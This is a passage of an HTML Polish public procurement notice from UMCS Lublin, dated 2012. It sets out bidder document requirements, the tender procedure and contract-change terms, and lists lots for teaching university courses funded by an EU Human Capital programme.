<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Jeżeli w miejscu zamieszkania osoby lub w kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania, nie wydaje się dokumentów, o których mowa w pkt III.4.3.1, zastępuje się je dokumentem zawierającym oświadczenie złożone przed notariuszem, właściwym organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego odpowiednio do miejsca zamieszkania osoby lub kraju, w którym Wykonawca ma siedzibę lub miejsce zamieszkania - wystawionym nie wcześniej niż w ciągu 6 miesięcy przed upływem terminu składania ofert.
Dokumenty wymagane w przypadku składania oferty wspólnej:
Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. W takim przypadku, dla ustanowionego pełnomocnika, do oferty należy załączyć pełnomocnictwo do reprezentowania w postępowaniu Wykonawców lub do reprezentowania Wykonawców w postępowaniu i zawarcia umowy w ich imieniu. Oferta winna zawierać: oświadczenia i dokumenty opisane w pkt. 5 (w przypadku osób fizycznych nie prowadzących działalności gospodarczej oświadczenie o którym mowa w pkt 5 ppkt 3- dla każdego partnera z osobna). Pozostałe dokumenty składane są wspólnie.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zamawiający zgodnie z art. 144 ustawy Prawo zamówień publicznych przewiduje możliwość dokonania zmian postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy. Zmiana możliwa jest w przypadku wystąpienia co najmniej jednej z okoliczności wymienionych poniżej, z uwzględnieniem podanych warunków ich wprowadzenia:

Rodzaje zmian spowodowane następującymi okolicznościami:
1) zmiana sposobu rozliczania umowy lub dokonywania płatności na rzecz Wykonawcy na skutek zmian zawartej przez Zamawiającego umowy o dofinansowanie projektu lub wytycznych dotyczących realizacji projektu;
2) rezygnacja przez Zamawiającego z realizacji części przedmiotu umowy;
3) zmiany uzasadnione okolicznościami, o których mowa w art. 3571 §1 Kodeksu cywilnego; 
4) gdy zaistnieje inna okoliczność prawna, ekonomiczna lub techniczna, skutkująca niemożliwością wykonania lub należytego wykonania umowy zgodnie z SIWZ.
Warunkiem takiej zmiany jest wystąpienie okoliczności, których nie można było wcześniej przewidzieć.

Strona, która występuje z propozycją zmiany umowy, w oparciu o przedstawiony powyżej katalog zmian umowy zobowiązana jest do sporządzenia  i uzasadnienia wniosku o taką zmianę. Wszelkie zmiany umowy dla swej ważności wymagają formy pisemnej w postaci aneksu do umowy</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.przetargi.umcs.lublin.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> UMCS Lublin, Biuro Projektu, ul. Sowińskiego 12, pok. 9, 20-040 Lublin oraz na stronie internetowej Zamawiającego. SIWZ dostępna nieodpłatnie..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 10.10.2012 godzina 11:00, miejsce: Uniwersytet Marii Curie-Skłodowskiej w Lublinie
Biuro Projektu ul. Sowińskiego 12 pokój 9, 20-040 Lublin.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Projekt - UMCS dla rynku pracy i gospodarki opartej na wiedzy POKL.04.01.01-00-362/10 współfinansowany ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego - Program Operacyjny Kapitał Ludzki.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Programowanie komputerowe--, specjalność --E-edytorstwo--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Programowanie komputerowe--, specjalność --E-edytorstwo--, forma prowadzenia zajęć: ćwiczenia stacjonarne, ćwiczenia online
Liczba prowadzonych zajęć: 30 godzin (w tym 10 online) x 3 grupy (razem: 90 godzin) z czego 45 godzin w semestrze zimowymi i 45 godzin w semestrze letnim
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Twórcze projektowanie--, specjalność --E-edytorstwo--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Twórcze projektowanie--, specjalność --E-edytorstwo--, forma prowadzenia zajęć: ćwiczenia stacjonarne, ćwiczenia online
Liczba prowadzonych zajęć: 15 godzin (w tym 5 online) x 3 grupy (razem: 45 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Infografika i grafika komputerowa--, specjalność --E-edytorstwo--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Infografika i grafika komputerowa--, specjalność --E-edytorstwo--, forma prowadzenia zajęć: ćwiczenia stacjonarne, ćwiczenia online
Liczba prowadzonych zajęć: 30 godzin (w tym 10 online) x 3 grupy (razem: 90 godzin)z czego 45 godzin w semestrze zimowymi i 45 godzin w semestrze letnim
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 4 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Podstawy komunikacji społecznej--, specjalność --E-edytorstwo--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Podstawy komunikacji społecznej--, specjalność --E-edytorstwo--, forma prowadzenia zajęć: ćwiczenia stacjonarne i wykłady
Liczba prowadzonych zajęć: 15 godzin ćwiczeń x 2 grupy,
Liczba prowadzonych zajęć: 15 godzin wykładów,
(razem: 45 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-8.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 5 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Pragmatyka językowa--, specjalność --Komunikacja urzędowa i biznesowa--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Pragmatyka językowa--, specjalność --Komunikacja urzędowa i biznesowa--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 15 godzin x 2 grupy (razem: 30 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 6 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Autoprezentacja i wystąpienia publiczne- projekty działań praktycznych--, specjalność --Komunikacja urzędowa i biznesowa--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Autoprezentacja i wystąpienia publiczne- projekty działań praktycznych--, specjalność --Komunikacja urzędowa i biznesowa--, forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 6 godzin x 2 grupy (razem: 12 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 7 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Prezentacje biznesowe--, specjalność --Komunikacja urzędowa i biznesowa--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Prezentacje biznesowe--, specjalność --Komunikacja urzędowa i biznesowa--, forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 14 godzin x 2 grupy (razem: 28 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 8 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Podstawy marketingu--, specjalność --Komunikacja urzędowa i biznesowa--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Podstawy marketingu--, specjalność --Komunikacja urzędowa i biznesowa--, forma prowadzenia zajęć: wykład
Liczba prowadzonych zajęć: 10 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 9 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Lektorat Języka Serbskiego--, specjalność --Bałkanistyka--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Lektorat Języka Serbskiego--, specjalność --Bałkanistyka--, forma prowadzenia zajęć: lektorat
Liczba prowadzonych zajęć: 45 godzin x 2 semestry, (razem: 90 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.09.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 10 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Historia Półwyspu Bałkańskiego--, specjalność --Bałkanistyka--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Historia Półwyspu Bałkańskiego--, specjalność --Bałkanistyka--, forma prowadzenia zajęć: wykład i ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 15 godzin ćwiczeń x 2 grupy,
Liczba prowadzonych zajęć: 15 godzin wykładów,
(razem: 45 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 11 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Tłumaczenie symultaniczne (polski<>angielski) 
(rok 2)--, specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Tłumaczenie symultaniczne (polski<>angielski) 
(rok 2)--, specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 60 godzin x 2 grupy (razem: 120 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 12 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Tłumaczenie symultaniczne (polski<>niemiecki) 
(rok 2)--, specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Tłumaczenie symultaniczne (polski<>niemiecki) 
(rok 2)--, specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 60 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 13 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Praktyczna ewaluacja tłumaczenia symultanicznego - j. angielski-- (rok 2), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyczna ewaluacja tłumaczenia symultanicznego - j. angielski-- (rok 2), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia e-learningowe
Liczba prowadzonych zajęć: 30 godzin x 2 grupy (razem: 60 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 14 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu--Praktyczna ewaluacja tłumaczenia symultanicznego - j. niemiecki-- (rok 2), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyczna ewaluacja tłumaczenia symultanicznego - j. niemiecki-- (rok 2), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia e-learningowe
Liczba prowadzonych zajęć: 30 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 15 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Praktyczne przygotowanie językowe- j. niemiecki--
(rok 1), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Praktyczne przygotowanie językowe- j. niemiecki--
(rok 1), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 30 godzin x 2 grupy (razem: 60 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 16 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Warsztaty komunikacji specjalistycznej- j. angielski--
(rok 1), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Warsztaty komunikacji specjalistycznej- j. angielski--
(rok 1), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 30 godzin x 2 grupy (razem: 60 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 17 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Warsztaty komunikacji specjalistycznej- j. niemiecki--
(rok 1), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Warsztaty komunikacji specjalistycznej- j. niemiecki--
(rok 1), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 30 godzin x 2 grupy (razem: 60 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 18 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Retoryka praktyczna języka polskiego-- (dla grup j. angielski rok 1), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Retoryka praktyczna języka polskiego-- (dla grup j. angielski rok 1), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 15 godzin x 2 grupy (razem: 30 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 19 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Retoryka praktyczna języka polskiego-- (dla grup j. niemiecki rok 1), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Retoryka praktyczna języka polskiego-- (dla grup j. niemiecki rok 1), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 15 godzin x 2 grupy (razem: 30 godzin)
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 20 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Uwarunkowania prawne i rynkowe pracy tłumacza--
(rok 1), specjalność --Tłumacz symultaniczny--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Uwarunkowania prawne i rynkowe pracy tłumacza--
(rok 1), specjalność --Tłumacz symultaniczny--, 
forma prowadzenia zajęć: wykład
Liczba prowadzonych zajęć: 15 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 21 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Web 2.0 i jego narzędzia--, specjalność --Cyberkultura--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Web 2.0 i jego narzędzia--, specjalność --Cyberkultura--,
forma prowadzenia zajęć: ćwiczenia stacjonarne 
Liczba prowadzonych zajęć: 30 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 22 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Podstawy grafiki komputerowej--, specjalność --Cyberkultura--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Podstawy grafiki komputerowej--, specjalność --Cyberkultura--,
forma prowadzenia zajęć: ćwiczenia stacjonarne 
Liczba prowadzonych zajęć: 30 godzin 
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 23 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Podstawy ochrony własności intelektualnej--, specjalność --Kultura przekazu i techniki audiowizualne--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Podstawy ochrony własności intelektualnej--, specjalność --Kultura przekazu i techniki audiowizualne--,
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 15 godzin
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 24 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Podstawy wideozapisu--, specjalność --Kultura przekazu i techniki audiowizualne--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Podstawy wideozapisu--, specjalność --Kultura przekazu i techniki audiowizualne--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 30 godzin 
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 25 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Warsztaty audiowizualne--, specjalność --Kultura przekazu i techniki audiowizualne--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Warsztaty audiowizualne--, specjalność --Kultura przekazu i techniki audiowizualne--, 
forma prowadzenia zajęć: ćwiczenia stacjonarne
Liczba prowadzonych zajęć: 30 godzin 
oraz przygotowanie kompletu materiałów dydaktycznych z zakresu prowadzonych zajęć.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.03.2013.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 26 <b>NAZWA:</b> Prowadzenie zajęć z przedmiotu --Instytucje kultury i polityka kulturalna--, specjalność --Zarządzanie w kulturze--.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Prowadzenie zajęć z przedmiotu --Instytucje kultury i polityka kulturalna--, specjalność --Zarządzanie w kulturze--, 
